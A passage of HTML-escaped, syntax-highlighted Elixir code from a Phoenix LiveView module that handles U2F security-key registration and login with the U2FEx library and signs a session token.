&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;registration&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;username&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;registerRequests: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;register_requests&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;push_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;register&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;registerRequests: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;register_requests&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;finish_registration&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;response&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;device_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;assigns: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;KeyMetadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key_metadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;finish_registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;device_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;PKIStorage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_u2f_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key_metadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:success&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Registration successful.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;start_login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;login&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;username&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;challenge: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;challenge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;registeredKeys: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;registered_keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_authentication&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;61&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;sign_requests&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;62&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;registered_keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;63&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;challenge: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;challenge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;64&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;65&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;66&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;67&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;68&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;69&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;push_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;signRequests: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;sign_requests&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;70&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;71&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;72&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;73&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;74&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;75&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;76&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;finish_login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;77&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;response&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;device_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;78&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;assigns: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;79&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;80&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;encoded_response&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Jason&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;encode!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;device_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;81&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;finish_authentication&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encoded_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;82&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;83&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;84&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Token&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
